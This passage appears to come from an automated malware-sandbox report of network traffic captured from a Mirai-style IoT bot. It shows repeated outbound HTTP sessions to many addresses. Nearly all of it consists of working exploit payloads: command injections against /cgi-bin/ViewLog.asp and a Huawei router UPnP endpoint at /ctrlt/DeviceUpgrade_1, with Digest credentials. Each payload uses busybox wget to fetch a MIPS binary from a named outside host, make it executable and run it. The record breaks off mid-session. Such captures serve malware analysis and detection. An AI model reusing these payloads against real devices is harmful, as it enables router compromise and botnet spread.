                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                747192.168.2.155131831.33.136.1248080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:49.651298046 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:50.200366974 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:51.256333113 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                748192.168.2.155334485.198.17.1718080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:49.823883057 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:50.166016102 CET212INHTTP/1.1 404 Not Found
                                                Content-Type: text/plain
                                                Date: Thu, 23 Nov 2023 04:22:49 GMT
                                                Content-Length: 18
                                                Connection: close
                                                Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64
                                                Data Ascii: 404 page not found


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                749192.168.2.154701262.97.33.1738080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:49.878339052 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:50.077672958 CET148INHTTP/1.1 404 Not Found
                                                Date: Thu, 23 Nov 2023 04:22:49 GMT
                                                Connection: Close


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                750192.168.2.154483631.0.250.688080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:50.266254902 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                751192.168.2.154378694.120.162.358080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:50.522335052 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                752192.168.2.153438294.120.1.2518080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:50.526326895 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                753192.168.2.154678094.187.108.1358080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:50.740830898 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                754192.168.2.154082294.122.91.408080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:50.745022058 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                755192.168.2.1546484156.235.107.13237215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:51.051713943 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:52.764301062 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:54.904232025 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:59.000138998 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:07.191906929 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                756192.168.2.1557126156.47.1.21137215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:51.226830006 CET886OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
